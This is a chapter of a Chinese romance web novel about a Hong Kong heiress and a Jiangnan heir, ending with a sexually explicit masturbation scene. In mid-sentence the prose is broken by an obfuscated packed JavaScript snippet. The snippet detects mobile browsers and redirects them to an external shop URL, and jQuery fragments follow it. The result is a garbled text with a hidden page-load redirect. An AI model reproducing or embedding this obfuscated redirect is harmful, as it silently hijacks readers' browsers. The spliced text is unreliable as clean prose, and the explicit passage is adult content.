6.chapter06

作品:《长日留痕

    浸在这股无形的压迫气势之中,又听到楚天舒这句话,林曦光竟然再次出现轻微的眩晕,比喝了酒醉得更厉害。


    短短刹那间,什么都抛之脑后了。


    她怔然望着近在咫尺的眼眸,不由地惊叹于他虹膜的色泽好漂亮。


    也让林曦光想起五年前从克什米尔核心矿脉开采出来的第一块宝石,因为含极为罕见的稀有矿物元素,在阳光照射下会呈现出高净度的淡绿色。


    总而言之,清透得像是雨夜后未干的深林湖泊——


    那块宝石最终的宿命被林曦光赋予特殊时间意义,亲自设计制作成了十八岁成年之际赢下的第一场加冕皇冠,给独家收藏了。


    她就喜欢宝石,看见了忍不住想上手。


    身体本能受大脑意识驱使,忽然离近了,林曦光又惊奇发现楚天舒高挺的鼻梁右侧还生了一颗山根痣,淡褐色的,好似封印模糊掉了他十分凌厉的攻击性,使他垂眸间的神采透着股沉静的悲悯感。


    悲悯这两个字,自古以来本就是高高在上的。


    那股眩晕感瞬间减轻,清醒也随之一点点的重新流回林曦光身上。


    她防沉迷似的眨了眨睫毛,几秒就已经想到应对之策,先没将男人推远点,而是非常正经说:“我已经准备结婚了,还请楚先生自重。”


    楚天舒太高了,与她交流,眼神像是自上而下俯视压来,他温和地回复:“没关系,我不介意这个。”


    ???


    不介意哪个?


    骚扰别人家的老婆吗?


    林曦光以为耳朵出现了幻听症状。


    他这种根骨雅正的江南名门望族子弟,行事不都要讲究光明磊落,出门在外爱给自己上封建精神牌坊吗?


    林曦光想再给他加一块牌坊,他怎么还突然拒绝了?


    她肩膀还披着男人冷香气味的西装外套,思绪转了又转,最终深呼吸后说道:“我有些介意。”


    楚天舒领悟了她的意思,而然,不等他款步拉开正常社交距离。


    与她再交流。


    下一秒。


    林曦光没想到倒霉透顶时什么突发事件都会发生,肩上感觉一松,细滑的带子竟然先不自重的沿着更滑的雪白肌肤迅速落下——惊得她唇微微张开,反应过来赶紧抬手,当着楚天舒的面捂住了裸露出来的胸口。


    “……”


    林曦光不确定有没有被看光,滚烫的热已经顺着胸烧到脸上。


    许久沉默下,楚天舒忽然更加领悟了她似的,似是有些惊讶语调:“瞳瞳的自重,原来是这个意思?”


    林曦光有口难辩,特别是她这身衣服的面料本来就少得可怜,如今肩带一断,稍微幅度大点儿就能再给楚天舒当场表演一个香艳级别的坦诚相待。


    恰好,更该死的是。


    林曦光站在台阶上,透过似有似无的朦胧雨丝看到了台阶下的远处,整个港城最大的狗仔谭雨白也受邀来参加罗锦岑的私人宴席。


    狗仔就是不遵守游戏规则,竟然还迟到了!


    林曦光随即条件反射地想借用楚天舒高大的身形挡住,而然,倾身朝他不打招呼靠近。楚天舒君子心思,误以为她是高跟鞋又打滑了,手臂抬起将她顺势搂住:“不能走?”


    林曦光纤细的后脖像是感到羞赧了似的,仿佛是从枝头深深垂下的雪白樱花,亲密贴在了楚天舒胸膛前,小声说:“我的车就在十步远处,你抱我过去!”


    她不能走,一走动裙子就要掉了。


    明明祈求之言,偏偏从她口中,分外的理直气壮。


    好像全世界都得绕着她转。


    楚天舒意味不明的打量了林曦光几秒,似乎第一次有人能这样理直气壮使唤他做事,需要时间适应服从指令似的。


    半响后,臂力极稳地将她轻飘飘的打横抱起,并轻飘飘地附言:“楚某大度,可以宽恕瞳瞳小姐的不自重。”


    随着从容不迫地走下台阶,那抹裙摆犹如红尘掠过一样,伴着风雨划过了他的黑西装裤。


    瞳瞳小姐:“……”


    但她注意力很快被转移掉。


    此刻,他们的亲密程度不言而喻。


    一直以来林曦光无论是精神世界,还是身体生理上都无法正常接受男性靠近时带来的肢体接触,乃至是气味和液体。


    她甚至有几分厌恶……


    她好像不讨厌楚天舒的触碰。


    当这个念头清晰出现在脑海中时,林曦光已经被安全抱进了温度适宜的车厢内。


    楚天舒站在外面,未经邀请,没有上来。


    林曦光回过神,伸手扯过毛茸茸的超大抱枕挡在了胸前,顿时有了安全感后,分分钟钟开始切换态度,毕竟在自己地盘,难免要猖狂一些的,尾音微微上扬:“你走吧。”


    楚天舒余光瞥见远处——


    淡淡一笑:“真让我走?”


    随即他风流挺阔的身形稍微一让,堵在车门空间的视野变得豁然清晰。


    “当……”然字话音未落。


    紧接着林曦光看到谭雨白身影竟然朝这边慢悠悠走来了。


    蓦地一惊。


    她的车牌号跟美貌一样闻名整个港城,可能是被看到了。


    过来打招呼的。


    “假的假的,别走!”


    林曦光立马反悔,将楚天舒的袖口抓住,这次说话尾调不敢在上扬了,还透了点儿动听的笑意,“楚先生远道而来,我还没有尽到地主之谊呢……”


    楚天舒看着她泛起粉色的指尖将他衣料弄得皱巴巴,挑了挑眉:“原来林小姐的待客之道是这样?”


    “都是误会,刚才我回到自己的车上,所以猖狂了一点……”林曦光切换成轻声细语的口吻,指尖愈发紧,“楚天舒,你要相信,我们是有感情的啊。”


    她和他可以私下有感情。


    台面上,是万万不能被谭雨白拍到坐实绯闻的铁证。


    毕竟以她多年来被造花边新闻的经验之谈,谭雨白绝对会用犀利狠辣笔法写成——


    【港岛公主慾火焚身急解Bra,与江南太子爷深夜座驾震动两小时,疑似上演「車廂春宫」!】


    那她还要不要清清白白的,从港城豪门候选人里挑个联姻结婚了?


    希望楚天舒能拔高一下他的道德水平,有点儿避嫌的分寸感,自己上车来。


    现实却是残酷的,楚天舒不为所动,淡声问她,“我们不是从来不认识么?”


    林曦光眼眸无辜地回视他,但漂亮嘴巴说出来的话一点也不无辜, “怎么会呢,你随便到街道的商铺买下一份杂志,上面都是我们激烈恩爱过的证据呢。”


    楚天舒看着她:“你还没亲口告诉我,你的鼎鼎大名。”


    “亲口”两个字咬得很重。


    明知道她的名字,刚才还喊过,现在非要她自己再说一遍。


    这人……


    什么毛病?


    林曦光突然回想起医院那晚独处,每个细枝末节的印象太过深刻,眸光忍不住往他西装裤定格了半秒,又迅速移开。


    迟疑了两秒,她最终还是吐出三个字:“林曦光。”


    楚天舒比查户口还严谨:“是有什么典故?”


    “没有。”林曦光声音很轻很轻,眉头一蹙,似乎是犹豫了几秒才说下去:“没有什么典故,我是初冬,日出生,父亲说看到小太阳出来就代表至此长夜终将过去,便给我取名曦光。”


    曦光。


    楚天舒心中重复了一遍。


    他眸色静默地盯着她的脸,车厢内的光线晦暗难明,唯一光线是来自他身后的路灯夜色,斜斜透进来,稀薄而照亮了林曦光长而卷的眼睫尖儿。


    半响。


    楚天舒再次重复她的名字:“林曦光。”


    暴风雨猛烈侵袭而来。


    男人更为清冽的声线将天色区分开,清晰地传入林曦光的耳朵。


    这一刻,她明白了楚天舒的意思。


    他们现在才算正式相识。


    …


    …


    不远处谭雨白接到了一通电话,转个身的功夫,就错过了林曦光的车。


    其实林曦光没想到乖乖说个名字就化解了一场凶多吉少的危机,楚天舒真就把压迫感的气势收敛了起来,风度翩翩的帮助了她。


    不愧是江南不请自来的正人君子,有雅量,堪称乐于助人的楷模!


    可惜手头上没有锦旗,不然可以送他一面示好下。


    林曦光象征性意思惋惜了三秒,趁着雨夜歇停,车子也终于快速抵达了楚天舒入住的酒店,又是辛静澹旗下的这家。


    不等她开口。


    楚天舒主动下车,甚至体谅她衣衫不整,裹着西装外套不便归还,也没讨要。


    还是太正人君子了。


    林曦光眼尾微微弯起了弧度,颇为欣赏这种有社交距离边界感的男人,下一秒,准备面无表情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148945|196255||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将车窗升上去时。


    忽然间,楚天舒异常修长的两指,朝她招了招。


    林曦光陷入了茫然的疑惑中,不知何意,不过还是配合的从车窗探出脑袋来,略微歪了一下:“?”


    楚天舒俯身而近,鼻梁的那颗山根痣映着冷白月光。


    他气息却是热的,在她耳畔低语:“未来老公先不要急着定下。”


    …


    …


    辛静澹雨夜走的晚,电梯门徐徐拉开,意外遇到了身姿笔挺站在外面的楚天舒。


    他意外,回忆起中午酒店经理递来的那份退房单,“名字”一栏貌似只填写了宗祈呈的字。


    都是资本场上的手段高明玩家。


    辛静澹霎时领悟过来,这段时间里他雷打不动插手调查楚天舒在酒店的个人隐私信息,恐怕是阴差阳错的,反而被当成推波助澜的一环了。


    双方的时间非常宝贵。


    辛静澹没驻足太久,刚要长腿迈步出来,倏然又一顿,他学医出身,对各类气味分辨能力很高,闻到了空气中弥漫着很淡痕迹的玫瑰花香调。


    是林曦光偏爱用的香水味。


    此时此刻,却来自——楚天舒坦然直面端详。


    两道目光相逢,暗藏锋锐。


    辛静澹神色略敛,主动让一步。


    楚天舒笔挺又从容迈进电梯。


    次日,楚天舒的私人行踪如同过眼云雾一样,非常低调离开了港城地区。


    楚家夜深人静。


    时隔好些天,被港城顶豪世家的豪门心心念念惦记着的天之骄子,此刻处理完繁忙的公务后,散了秘书们,回到楼上冲凉。


    今天没有时间高强度的剧烈运动,去消耗这具身体的精力。


    楚天舒腹部突然涌起了欲望。


    他并不爱动手纾解,有时候也懒得弄。


    浪费时间。


    水珠滑下突起的凌厉线条喉结,继而将浴室的温水调直最冰凉程度,冷眼旁观地注视着洁白水柱冲刷过异常明显的脉络——


    如往常一样,冷水澡浇过之后,一切风平浪静。


    楚天舒没在意。


    然而他前脚刚踏出湿淋淋的浴室,原本安静的地方,又莫名其妙且来势汹汹地涨了起来。


    楚天舒低头:“?”


    一定要浪费这个时间?


    楚天舒轻啧了声。


    几分钟后。


    他坐在极宽敞的床上,深蓝色浴袍微微敞开,握住了自己的欲望,触碰的瞬间。


    伴随着一起浮现脑海的,还有那晚林曦光遥远而模糊的背影,四周光芒迅速褪去犹如深海漩涡,无尽璀璨的灯光倾注于她那片后背……


    那隐在黑暗中那抹无暇洁白的腰窝太细,目测不足男人的半掌宽。


    楚天舒压着喉间喘息,缓慢地睁开眼。


    他以前解决生理问题的时候,就只是解决,并没有幻想任何一个人,这次却下意识地想到了林曦光。


    再次垂眸看着那里,试图在片刻中迅速冷静下来,相反愈发蓬勃凶悍起来,让楚天舒发现了一件事情。


    因为想到林曦光,他更兴奋了。


    比曾经的每一次,都难以可克制。


    翌日,楚天舒一身衣冠整齐,透着冰冷湿气缓步下楼。


    蹲在壁炉旁逗小黄猫的宗祈呈见他现身,心里计算着似乎比平时莫名晚起了一个小时。


    而今天是八大家族例行开会的日子,出门之前,宗祈呈犹豫了几秒,还是借用了当初宗漱玉的话,试探道:“你今天心情怎么样?”


    楚天舒看了他眼,笑了一声,没说话。


    宗祈呈拿不准他君心难测的脾性,这一眼,这一笑都藏着道不明的意味。


    不过阳奉阴违的人不是他,于是换了副神色道: “你远在港城的绯闻对象有正牌老公了,一夜之间,林家长女即将跟辛氏家族强强联合的婚讯已经传遍港城,预备大摆十天流水宴。”


    为了证实可信度。


    宗祈呈从手机翻出一张公开婚帖的照片,搁在了大理石茶几上:“天舒,当人第三者跟夺人爱妻都有失你家风。”


    楚天舒看到屏幕上,林曦光那张笑吟吟的脸和另一位英俊的面容同框,被P成了结婚照的模式,两个人连笑容弧度都莫名地般配。


    他像是欣赏般,足足看了这张照片一分钟。


    而后轻描淡写地颌首:“嗯,我就喜欢抢别人的老婆。”